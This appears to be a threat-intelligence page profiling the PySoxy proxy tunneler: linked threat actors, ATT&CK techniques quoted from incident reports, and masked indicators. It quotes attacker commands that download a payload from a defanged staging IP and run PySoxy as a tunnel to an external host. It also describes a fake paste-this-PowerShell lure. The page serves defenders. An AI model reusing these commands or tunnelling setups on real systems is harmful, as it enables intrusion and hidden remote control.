pysoxy
Associated threat actors
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
UNC5221 was also observed leveraging the PySoxy tunneler and BusyBox to enable post-exploitation activity.
Techniques & procedures
9 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
1 technique
Resource Development
Multiple groups “obtained and used” publicly available/open-source tools (e.g., APT28 used Koadic/Mimikatz/Responder; APT29 used Mimikatz/SDelete/Tor/meek/Cobalt Strike; many others acquired tools such as PsExec, Impacket, Metasploit, etc.).
Execution
4 techniques
Execution
The attacker then created a scheduled task for repeated execution... Telemetry showed the task launching a staged script from C:\ProgramData roughly every 40 minutes, using arguments commonly associated with defense evasion and low-visibility execution.
The intrusion chain began with an obfuscated PowerShell command launched from explorer.exe... The stager contacted attacker infrastructure, downloaded the next stage, and executed it in memory without writing the payload to disk.
Only after confirming that a staging server could be reached did the attacker introduce PySoxy, downloading compiled Python bytecode and running it with proxy arguments pointing to a separate external IP address.
The attack begins when a user visits a compromised website that presents a fake prompt, convincing the visitor to paste and run a PowerShell command on their own machine.
Persistence
1 technique
Persistence
The attacker then created a scheduled task for repeated execution... Telemetry showed the task launching a staged script from C:\ProgramData roughly every 40 minutes, using arguments commonly associated with defense evasion and low-visibility execution.
Privilege Escalation
1 technique
Privilege Escalation
The attacker then created a scheduled task for repeated execution... Telemetry showed the task launching a staged script from C:\ProgramData roughly every 40 minutes, using arguments commonly associated with defense evasion and low-visibility execution.
Command and Control
4 techniques
Command and Control
The pysoxy YARA rule describes a "SOCKS5 proxy tool used to relay connections," and the ASPX web shell can "act as a Tunnel, using code borrowed from reGeorg."
revsocks (SOCKS5 reverse tunnel) ; pysoxy (proxy Python SOCKS)
python.exe b64.pyc -ssl -remote_port 443 -remote_ip 167.99.158[.]97 ... PySoxy, an open-source tool that lets attackers route encrypted traffic through a compromised host
The attacker then downloaded PySoxy from the same staging server: curl.exe hxxp://206.206.103[.]106/<redacted>/b64.pyc -o C:\ProgramData\python\b64.pyc
Observables
5 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
7 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.